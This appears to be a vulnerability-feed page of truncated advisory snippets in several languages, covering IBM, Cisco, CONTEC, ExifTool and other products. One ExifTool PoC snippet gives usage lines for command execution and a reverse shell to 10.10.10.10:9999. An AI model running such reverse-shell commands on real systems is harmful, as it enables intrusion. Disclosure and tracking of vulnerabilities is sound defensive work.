CVE-2021-22204

CVE-2021-22204 - ExifTool 任意代码実行 CVE-2021-22204 の改良版 Proof-of-Concept です。これは ExifTool バージョン 7.44 から 12.23 における脆弱性で、悪意のある DjVu ファイルを処理する際に任意のコード実行を可能にします。 クレジット これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。 役割| 誰 ---|--- 脆弱性の発見者| William Bowling @wcbowling、GitLab バグ報奨金プログラムを通じて報告 — 2021年4月 オリジナル PoC 作成者|...

CVE-2026-78415

IBM Sterling Secure Proxy 6.2.0.0 through 6.2.1.2 could allow a remote authenticated attacker to perform UI spoofing and phishing attacks due to improper neutralization of user-supplied HTML markup...

CVE-2026-78415 IBM Sterling Secure Proxy is vulnerable to multiple issues

IBM Sterling Secure Proxy 6.2.0.0 through 6.2.1.2 could allow a remote authenticated attacker to perform UI spoofing and phishing attacks due to improper neutralization of user-supplied HTML markup...

CVE-2026-16673 DataStage on Cloud Pak for Data has several vulnerabilities due to open source software

IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special characters in the PxPeek name property...

EUVD-2026-77789

IBM DataStage on Cloud Pak for Data 5.4.0.0 IBM DataStage could allow a remote authenticated attacker to execute arbitrary OS commands due to improper neutralization of special characters in the PxPeek name property...

CVE-2026-17133

IBM App Connect Enterprise (v13.0.1.0–13.0.8.0 and v12.0.1.0–12.0.12.27) is vulnerable to arbitrary code execution via improper neutralization of special elements used in an OS command (CWE-78). A local attacker with no privileges but requiring user interaction could exploit this to achieve full ...

EUVD-2026-77786

IBM App Connect Enterprise 13.0.1.0 through 13.0.8.0, and 12.0.1.0 through 12.0.12.27 could allow a local attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command...

Security Bulletin: IBM Sterling Secure Proxy is vulnerable to multiple issues

Summary Multiple vulnerabilities CVE-2026-78415, CVE-2026-75792 affect IBM Sterling Secure Proxy and are addressed in the latest release and fixpack. Vulnerability Details CVEID:CVE-2026-78415 DESCRIPTION: IBM Sterling Secure Proxy could allow a remote authenticated attacker to perform UI spoofin...

CVE-2026-76443

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple...

CVE-2026-76443

CVE-2026-76443 affects Cisco Secure Email Gateway and Cisco Secure Email and Web Manager , where internally discovered vulnerabilities involving improper neutralization (CWE-707) were identified during a comprehensive internal security review. The issues are addressed through software hardening r...

EUVD-2026-77623

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple...

CVE-2026-76443 Cisco Secure Email Gateway Security Hardening Release

As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple...

CVE-2023-3047

Telegram : @ghostmans3c または @Chrome2024 BTC の寄付 : 17L22i227Keet23QCNaeCyrQ6xfiTQpQJ5 PoC: CVE-2023-3047 の悪用方法 説明 TMT Lockcell における SQL コマンドで使用される特殊要素の不適切な無害化（'SQLインジェクション'）の脆弱性により、SQLインジェクションが可能になります。この問題は Lockcell 15 より前のバージョンに影響します。 詳細 : https://www.tenable.com/cve/CVE-2023-3047 エクスプロイト...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...

CVE-2026-82779

Improper neutralization of special elements used in an OS command 'OS Command Injection' issue exists in CONPROSYS TM Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product...

CVE-2026-82777

CVE-2026-82777 is an OS Command Injection vulnerability in CONTEC CONPROSYS PAC Series controllers. The root cause is improper neutralization of special elements used in an OS command, allowing an attacker with low-privilege (authenticated) access to execute arbitrary OS commands on the device. T...

ghe-push-option-rce-scanner

CVE-2026-3854 — 通过 Push Option 注入实现 GitHub Enterprise Server RCE 概述 GHE 中 push option 值的中和不当。具有推送权限的攻击者可在实例上实现 RCE。 字段| 值 ---|--- CVE| CVE-2026-3854 严重性| CRITICAL 产品| GitHub Enterprise Server CISA KEV| 2026-03-10 攻击类型| 通过 Push Option 注入实现 RCE 所需认证| 无 受影响版本 状态| 版本 ---|--- ❌ 受影响| GitHub Enterprise...

CVE-2026-9160

Improper neutralization of special elements used in a template engine vulnerability in Arma Digital Media Inc. Website Template allows Code Injection. This issue affects Website Template: through 11092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way...

EUVD-2026-76158

Improper neutralization of special elements used in a template engine vulnerability in Arma Digital Media Inc. Website Template allows Code Injection. This issue affects Website Template: through 11092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way...

CVE-2026-7863

Improper neutralization of special elements used in an OS command 'OS command injection' vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software allows OS Command Injection. This issue affects Pardus Software: before 1.0.5...